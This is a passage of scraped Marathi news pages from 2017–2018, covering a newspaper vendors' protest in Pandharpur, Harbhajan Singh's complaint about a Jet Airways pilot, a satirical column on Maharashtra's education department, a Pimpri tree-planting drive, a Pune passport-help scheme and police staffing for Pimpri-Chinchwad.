सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › स्वतंत्र कल्याणकारी मंडळ स्थापन करा\nस्वतंत्र कल्याणकारी मंडळ स्थापन करा\nवृत्तपत्र विक्रेत्यांसाठी स्वतंत्र कल्याणकारी मंडळाची स्थापना करावी यासह विविध मागण्यांसाठी पंढरपूर शहर वृत्तपत्र विक्रेता संघटनेच्या वतीने प्रांताधिकारी कार्यालयासमोर घोषणा देऊन निदर्शने करण्यात आली.\nमहाराष्ट्र राज्य वृत्तपत्र विक्रेता संघटनेच्या वतीने वृत्तपत्र विक्रेत्यांसाठी स्वतंत्र कल्याणकारी मंडळाची स्थापना करावी यासह विविध मागण्यांसाठी मंगळवार दि. 5 डिसेंबर रोजी राज्य व्यापी आंदोलन करण्यात आले. राज्यातील विविध जिल्हाधिकारी, प्रांताधिकारी, तहसील कार्यालय समोरही आंदोलने करण्यात आली. त्याचाच एक भाग म्हणून पंढरपूर प्रांताधिकारी कार्यालयासमोर वृत्तपत्र विक्रेता संघटनेच्यावतीने घोषणा देऊन निदर्शने करण्यात आली. यावेळी प्रांताधिकार्‍यांच्यावतीने शिरस्तेदार अजित पवार यांनी निवेदन स्वीकारले.\nवृत्तपत्र विक्रेत्यांसाठी स्वतंत्र कल्याणकारी मंडळ स्थापन करावे, गटई कामगारांप्रमाणे मोक्याच्या ठिकाणी स्टॉलसाठी जागा उपलब्ध करून द्यावी, वृत्तपत्र विक्रेत्यांना अधिकृत परवाना मिळावा, शासकीय घरकूल योजनेत वृत्तपत्र विक्रेत्यांसाठी राखीव कोटा ठेवावा, विक्रेता संघटनेच्या राज्यस्तरीय पदाधिकार्‍यांना एस.टी.तून मोफत प्रवास मिळावा, शासकीय वस्तिगृहात संघटनेच्या लेटर पॅडवर सवलतीच्या दरात बैठकीस परवानगी द्यावी, विधान परिषदेवर असंघटीत कामगारांचा प्रतिनिधी घेण्यात यावा, यासह इतर प्रलंबित मागण्यांसाठी हे आंदोलन करण्यात आले.\nयावेळी राज्य संघटनेचे कोषाध्यक्ष गोरख भिलारे, संघटनेचे अध्यक्ष महेश पटर्धन, उपाध्यक्ष मुकुंद हरिदास, तेंडुलकर बंधू, वाटाणे बंधू, ताठे बंधू, नलवडे बंधू, बिडवे बंधू, हरी कदम, नंदकुमार देशपांडे, लक्ष्मण कारटकर, संतोष कुलकर्णी, सतिश लाड, विकास पवार, फावडे, मोरे, वाघमोडे, जोशी, भोसले, रविकिरण पाटील, गाजरे, भाकरे, माळवदकर, शिवकुमार भावलेकर यांच्यासह वृत्तपत्र विक्रेते व पत्रकार बांधव उपस्थित होते.\nपालिकांसाठी २० टीएमसी पाणी\nऊस दरासाठी रोखला महामार्ग\nफिर्यादी पतीच निघाला खुनी\nमहापुरुषांच्या स्मृतिदिनी निराधारांना मिळणार न्याय\n...अखेर टेंभुर्णीचा पाणीपुरवठा सुरू\nराष्ट्रवादीच्या माजी नगरसेविकेच्या घरातील जुगार अड्ड्यावर छापा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/sport/harbhajan-singh-hits-out-at-jet-airways-pilot-for-racist-comments-259195.html", "date_download": "2018-09-25T16:51:28Z", "digest": "sha1:B4CHLJ65XXXNGZWHJUO27TWCZZVMMM6H", "length": 13749, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "'ब्लडी इंडियन्स' म्हणणाऱ्या 'जेट'च्या पायलटवर हरभजन भडकला", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'ब्लडी इंडियन्स' म्हणणाऱ्या 'जेट'च्या पायलटवर हरभजन भडकला\nजेट एअरवेजच्या पायलटने दोन भारतीयांना 'यू ब्लडी इंडियन्स गेट आऊट माय एअर क्राफ्ट' असं म्हणून अपमानित केलाय\n26 एप्रिल : एअर इंडिया आणि सेनेचे खासदार रवींद्र गायकवाड यांचा राडा निपडल्यानंतर आता जेट एअरवेजच्या पायलटचा आगाऊपणा पुढे आलाय. जेट एअरवेजच्या पायलटने दोन भारतीयांना 'यू ब्लडी इंडियन्स गेट आऊट माय एअर क्राफ्ट' असं म्हणून अपमानित केलाय. याबद्दल भारतीय किक्रेटर हरभजन सिंग यांनी जोरदार आक्षेप घेत पंतप्रधान मोदींकडेच तक्रार केलीये.\nघडलेली हकीकत अशी की, सध्या आयपीएलमध्ये खेळणाऱ्या हरभजन सिंग जेट एअरवेजने प्रवास करत असताना दोन घटनांना सामोरं गेला. याबद्दल त्याने टि्वट करून तीव्र नाराजी व्यक्त केली. भज्जी टि्वटमध्ये म्हणतो, बर्नाड होसलिन नावाच्या पायलटने जेट एअरवेजने प्रवास करणाऱ्या दोन भारतीयांचा अपमान केला. विमानातून उतरत असताना या प्रवाशांना यू ब्लडी इंडियन्स गेट आऊट माय एअर क्राफ्ट ,असं म्हणत अपमानित केलं आहे.\nदुसऱ्या टि्वटमध्ये भज्जी म्हणतो, हा पायलट एवढ्यावरच थांबला नाही तर त्याने विमानात असलेल्या एक महिला आणि एका दिव्यांग व्यक्तीसोबत धक्काबुक्की केली. हे सर्व खूप वेदनादायी होतं.\nभज्जीच्या टि्वटनंतर जेट एअरवेजने तातडीने या प्रकरणावर खुलासा करत आम्ही प्रवाशांकडून प्रतिसाद मागवून घेतला असून असं काही घडलं असेल तर खेद व्यक्त केलाय. तसंच या प्रकरणाची चौकशी करण्याचे निर्देश जेट एअरवेजनं दिले आहेत.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\n'हीट-मॅन' रोहितने रचले 'हे' नवे रेकाॅर्ड\nLive Cricket Score, India Vs Pakistan Asia Cup 2018: रोहित-धवनच्या वादळापुढे पाकचा धुव्वा, भारताची फायलनमध्ये धडक\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.loksatta.com/ulata-chashma-news/education-scam-in-maharashtra-4-1653531/", "date_download": "2018-09-25T17:13:29Z", "digest": "sha1:2CO7XDECFY3ZWZMW3IE3FZHZIBBFYQCG", "length": 15051, "nlines": 202, "source_domain": "www.loksatta.com", "title": "Education scam in Maharashtra | मिळवल्याचे समाधान! | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nशिक्षणात कुठे नेऊन ठेवण्यासाठी लागणारी नजरच लोकांकडे नाही.\n( संग्रहीत प्रतिकात्मक छायाचित्र )\nकुठे असलेला महाराष्ट्र शिक्षणात कुठे नेऊन ठेवण्यासाठी लागणारी नजरच लोकांकडे नाही. म्हणूनच शिक्षण विभागाच्या कारभाराला नेहमी नजर लागत असावी. निर्णयसुद्धा कसे विद्यार्थिभिमुख, शिक्षकांसाठी प्रेरणादायी.. पण लक्षात कोण घेतो तरीही निर्णयांची टिंगल होते. मुळात एखाद्या निर्णयामागील भूमिका समजून घेण्यासाठीचा सखोल, अतिखोल अभ्यास करण्याची, मनोव्यापार समजून घेण्याची वृत्तीच राहिली नसावी. त्यामुळे होते असे की, दुसरीचे गणित न येणाऱ्या मुलाला दहावीचे गणित सोडवण्याची वेळ आल्यावर त्याची जशी कमकुवत मानसिक स्थिती होईल तशा स्थितीस शिक्षण विभागासच तोंड द्यावे लागते. एखादी गोष्ट मिळणार नाही, असे पालकांनी सांगून नंतर ती गोष्ट दिल्यास मुलांना जो अतुलनीय आनंद मिळतो, तोच देण्याचा एक प्रयत्न शिक्षण विभागाने केला. सुट्टी रद्द असे सांगून नंतर यंदापुरती का होईना ती मिळणार असल्याचे सांगून मुलांना निखळ आनंद देण्याचा प्रयोग विभागाने केला. आता हा आनंदीआनंद नेमेचि येणाऱ्या सुट्टीच्या आनंदापेक्षा काकणभर अधिकच असणार. तरीही टिंगल झाली, कारण हेतू समजून घेण्याची तयारीच नाही. या विद्यार्थिभिमुख निर्णयातून त्रागा, चिडचिड, निराशा, गोंधळ, आनंद अशा विविध भावनांची ओळख मुलांना झाली. शाळेत जायचे तर तेथे पाणी नसणार या जाणिवेमुळेच तर, शेततळी खोदूनही आटणाऱ्या पाण्याचे महत्त्व मुलांना समजले. उन्हातून शाळेत जावे लागणार या जाणिवेतून, हवामान बदलाचे गांभीर्य मुलांना जाणवले. उन्हाळी शिबीर म्हणजे काय रे भाऊ , असे विचारणाऱ्या ग्रामीण भागातील मुलांना, शहरी संस्कृतीची जाणीव झाली. आता या सर्वात शिक्षकांवर अन्याय झाला थोडा; पण शिक्षकांपेक्षा शिक्षण अधिक महत्त्वाचे. तरीही शिक्षकांवरील अन्यायाचीही भरपाई होणार आहे. महाराष्ट्र अति, अति अति जलद प्रगत करण्यासाठी ते गरजेचेच आहे. सध्या प्रोत्साहनपर कीर्तने ऐकू अति अति अति जलद प्रगतीसाठी शिक्षकांचे बाहू फुरफुरू लागले आहेत. आता महिनाभर मुलेच समोर नाहीत तर काय करावे, अशा प्रश्नाने शिक्षकांमध्ये निराशा दाटून येऊ शकते (परिणामांचा विचार न करणे ही तल्लख विनोदबुद्धी असणाऱ्यांची दुसरी खोड असल्याचे यातून सिद्ध होते.) यावर उपाय म्हणून अस्मिता योजनेत बचत गटांच्या नोंदी करणे, स्वच्छतागृहे मोजणे, पाणवठे मोजणे, चित्रपटांचा प्रचार करणे, शाळा समिती सदस्यांच्या नाकदुऱ्या काढणे, गणितपेटी आदी साहित्याचा वापर करण्यास शिकवणाऱ्या बिनसाहित्याच्या प्रशिक्षण शिबिरांमध्ये वेळ सत्कारणी लावण्याचे नियोजन शिक्षकांसाठी करण्यात आले आहे. हे सारे सर्वानाच काही तरी मिळवल्याचे समाधान देणारे आहे. मात्र नवी कल्पना आली की हाणून पडणे या फोफावलेल्या खेकडा वृत्तीचा या योजनांबाबतही धोका आहे. त्यामुळे माणसाचे पूर्वज (किमान महाराष्ट्रीय माणसाचे) हे माकडाऐवजी खेकडे असतील का याचा अभ्यास करून सत्य मुलांपर्यंत पोहोचण्यास समिती स्थापन करण्यात येणार असल्याचे समजते. (समितीच्या अध्यक्षपदासाठी साक्षात्कारी बाबांचा शोध सुरू आहे.)\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%B0%E0%A4%A3%E0%A4%BE%E0%A4%9A%E0%A4%BE-%E0%A4%B8%E0%A4%AE%E0%A4%A4%E0%A5%8B%E0%A4%B2-%E0%A4%B0%E0%A4%BE%E0%A4%96%E0%A4%A3%E0%A5%8D%E0%A4%AF/", "date_download": "2018-09-25T17:57:34Z", "digest": "sha1:ZKUPE4MY6MYBJLZ2TZ5KDAGMJ6PIYTJW", "length": 7774, "nlines": 72, "source_domain": "pclive7.com", "title": "पर्यावरणाचा समतोल राखण्यासाठी वृक्षारोपण व संवर्धन करणे काळाची गरज – एकनाथ पवार | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पर्यावरणाचा समतोल राखण्यासाठी वृक्षारोपण व संवर्धन करणे काळाची गरज – एकनाथ पवार\nपर्यावरणाचा समतोल राखण्यासाठी वृक्षारोपण व संवर्धन करणे काळाची गरज – एकनाथ पवार\nपिंपरी (Pclive7.com):- दिवसेंदिवस पर्यावरणाचा समतोल बिघडत आहे. पर्यावरणाच्या बिघडलेल्या समतोलामुळे अनियमित व अपूर्ण पर्जन्यमान, भयानक उष्णता अशा संकटांना तोंड देणे भाग पडत आहे. यावर प्रभावीपणे मात करायची असल्यास काळाची गरज ओळखून मोठय़ा प्रमाणावर वृक्षारोपण व त्याचे संवर्धन करणे व पर्यावरणाचा समतोल राखणे प्रत्येक नागरिकाची जबाबदारी आहे. असे मत पिंपरी चिंचवड महापालिकेचे सत्तारूढ पक्षनेते एकनाथ पवार यांनी व्यक्त केले.\nकेंद्र सरकार, राज्य सरकार आणि पिंपरी चिंचवड महापालिकेच्या संयुक्त विध्यमाने प्रभाग क्रमांक ११ मधील सीडीसी – १, २ आणि ३ या मोकळ्या मैदानाच्या आवारात २१०० झाडांची रोपे लावण्यात आली, त्या वेळी पक्षनेते पवार बोलत होते.\nमहापालिकेचे सत्तारूढ पक्षनेते एकनाथ पवार, क्रीडा, कला, साहित्य व सांस्कृतिक समितीचे सभापती संजय नेवाळे, नगरसेविका योगिता नागरगोजे, अश्विनी बोबडे, सामाजिक कार्यक्रते सचिन काळभोर, गोरख पाटील, नागेश शेट्टी, महापालिकेचे कार्यकारी अभियंता संजय कांबळे, उपअभियंता विजय कांबळे, कनिष्ठ अभियंता प्राजक्ता गव्हाने आदी या वेळी उपस्थित होते.\nसत्तारूढ पक्षनेते एकनाथ पवार म्हणाले कि, पर्यावरणावर दररोज हजारो वाहनांमधून सोडण्यात येणारा कार्बनडॉक्साइड वायूचाही परिणाम होत आहे. तापमान रोखण्यासाठी वृक्षलागवड करून वातावरणातील समतोल राखणे गरजेचे आहे.\nराष्ट्रवादीचे नेते नाना काटे यांच्या वाढदिवसानिमित्त मोफत शस्त्रक्रिया व आरोग्य शिबिराचे आयोजन\nरिक्षा स्टॅन्ड हे समाजसेवा केंद्र व्हावे – बाबा कांबळे\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00276.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/pune/authorized-assistant-passport-application-107861", "date_download": "2018-09-25T17:40:17Z", "digest": "sha1:TB4A6TNCECW4PP3ULDYEHZUCA4IF54K3", "length": 14664, "nlines": 176, "source_domain": "www.esakal.com", "title": "Authorized Assistant for Passport Application पासपोर्ट अर्जासाठी अधिकृत मदतनीस | eSakal", "raw_content": "\nपासपोर्ट अर्जासाठी अधिकृत मदतनीस\nशुक्रवार, 6 एप्रिल 2018\nपुणे - पारपत्रासाठी (पासपोर्ट) सर्व प्रक्रिया ऑनलाइन झाल्यानंतरही तुम्हाला अर्ज भरताना काही अडचणी येत आहेत का काळजी करू नका. यापुढे ‘कॉमन सर्व्हिस सेंटर’मधील (सीएससी) अधिकृत प्रतिनिधींकडून केवळ शंभर रुपये शुल्काच्या मोबदल्यात तुम्हाला हा अर्ज भरून घेण्याची सुविधा प्रादेशिक पासपोर्ट कार्यालयाकडून उपलब्ध होणार आहे. याबाबतचा प्रस्ताव तयार करण्यात आला असून, लवकरच ही केंद्रे व प्रतिनिधींची यादी पासपोर्ट कार्यालयाच्या संकेतस्थळावर प्रसिद्ध करण्यात येणार आहे.\nपुणे - पारपत्रासाठी (पासपोर्ट) सर्व प्रक्रिया ऑनलाइन झाल्यानंतरही तुम्हाला अर्ज भरताना काही अडचणी येत आहेत का काळजी करू नका. यापुढे ‘कॉमन सर्व्हिस सेंटर’मधील (सीएससी) अधिकृत प्रतिनिधींकडून केवळ शंभर रुपये शुल्काच्या मोबदल्यात तुम्हाला हा अर्ज भरून घेण्याची सुविधा प्रादेशिक पासपोर्ट कार्यालयाकडून उपलब्ध होणार आहे. याबाबतचा प्रस्ताव तयार करण्यात आला असून, लवकरच ही केंद्रे व प्रतिनिधींची यादी पासपोर्ट कार्यालयाच्या संकेतस्थळावर प्रसिद्ध करण्यात येणार आहे.\nऑनलाइन सेवा सुरू झाल्यानंतर काही प्रमाणात चालणाऱ्या ‘एजंटगिरी’ला रोखण्यासाठी पासपोर्ट कार्यालयाकडून काही उपाययोजना करण्यात येत आहेत. त्या अनुषंगानेच प्रत्येक जिल्ह्यात ‘सीएससी’मार्फत ही सेवा उपलब्ध करून देण्याचा प्रस्ताव पासपोर्ट कार्यालयाने दिला आहे. प्रादेशिक पासपोर्ट अधिकारी (पुणे) पदावर ३ एप्रिल रोजी रुजू झाल्यानंतर अनंतकुमार यांनी पहिल्याच दिवशी हा निर्णय घेतला.\n‘मिनिस्ट्री ऑफ इलेक्‍ट्रॉनिक्‍स अँड इन्फॉर्मेशन टेक्‍नॉलॉजी’तर्फे (मायटी) देशातील प्रत्येक ग्रामपंचायतीमध्ये २०१९ पर्यंत एक ‘सीएससी’ केंद्र सुरू करण्याचे उद्दिष्ट आहे. ‘सीएससी’ केंद्रांची माहिती संकेतस्थळावर प्रसिद्ध करण्यात येईल. त्यानंतर त्याची माहिती देण्यासाठी व्यवस्था करण्यात येणार आहे. त्यामुळे नागरिकांनी एजंटांकडे न जाता अधिकृत प्रतिनिधींमार्फत अर्ज भरून घ्यावेत, असे आवाहन अनंतकुमार यांनी केले.\nपोलिस पडताळणी सात दिवसांत\nपासपोर्ट मिळविण्यातील मोठी अडचण म्हणजे पोलिस पडताळणीच्या प्रक्रियेला लागणारा वेळ. काही दिवसांपूर्वीच परराष्ट्र व्यवहार मंत्रालयाचे सचिव डॉ. ज्ञानेश्‍वर मुळे यांनी याबाबत चिंता व्यक्त केली होती. पडताळणीसाठी लागणारा वीस दिवसांचा कालावधी सात दिवसांपर्यंत आणण्याचे उद्दिष्ट आहे, अशी माहिती अनंतकुमार यांनी ‘सकाळ’शी बोलताना दिली. पुणे- मुंबईत पोलिस पडताळणीसाठी लागणारा कालावधी कमी असला तरी ग्रामीण व निमशहरी भागांत वीस दिवसांपर्यंत वाट पाहावी लागत आहे. तो कालावधी कमी करण्यासाठी पोलिस आयुक्त रश्‍मी शुक्‍ला, विशेष शाखेचे पोलिस उपायुक्त, पुणे ग्रामीण पोलिस अधीक्षक, तसेच अन्य जिल्ह्यांचे पोलिस अधीक्षक यांची भेट घेणार असल्याचेही अनंतकुमार यांनी सांगितले.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nडिजे वाजविल्याप्रकरणी भोकरमध्ये 20 जणांवर गुन्हे\nनांदेड : गणरायाला निरोप देणाऱ्या अतिउत्साही गणेशमंडळांवर डीजे वाजविल्याप्रकरणी भोकर ठाण्यात गुन्हे दाखल करण्यात आले. तेलंगणातील डीजे चालक व...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00276.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/pune/pimpri-police-commissionerate-1500-employee-supply-pune-138090", "date_download": "2018-09-25T17:55:06Z", "digest": "sha1:XGHSPOKPOKK7CBFNPF7F2YFAJWULIHFS", "length": 12142, "nlines": 175, "source_domain": "www.esakal.com", "title": "Pimpri Police Commissionerate 1500 employee supply by pune पिंपरी पोलिस आयुक्तालयास पुण्यातून दीड हजार कर्मचारी | eSakal", "raw_content": "\nपिंपरी पोलिस आयुक्तालयास पुण्यातून दीड हजार कर्मचारी\nशुक्रवार, 17 ऑगस्ट 2018\nपुणे - नव्याने झालेल्या पिंपरी-चिंचवड पोलिस आयुक्तालयासाठी पुणे पोलिस आयुक्तालयाने दीड हजारांहून अधिक मनुष्यबळ पुरविले आहे. त्यामध्ये आणखी 200 पोलिस अधिकारी-कर्मचाऱ्यांची भर पडणार आहे.\nपुणे - नव्याने झालेल्या पिंपरी-चिंचवड पोलिस आयुक्तालयासाठी पुणे पोलिस आयुक्तालयाने दीड हजारांहून अधिक मनुष्यबळ पुरविले आहे. त्यामध्ये आणखी 200 पोलिस अधिकारी-कर्मचाऱ्यांची भर पडणार आहे.\nपिंपरी-चिंचवड पोलिस आयुक्तालयाच्या 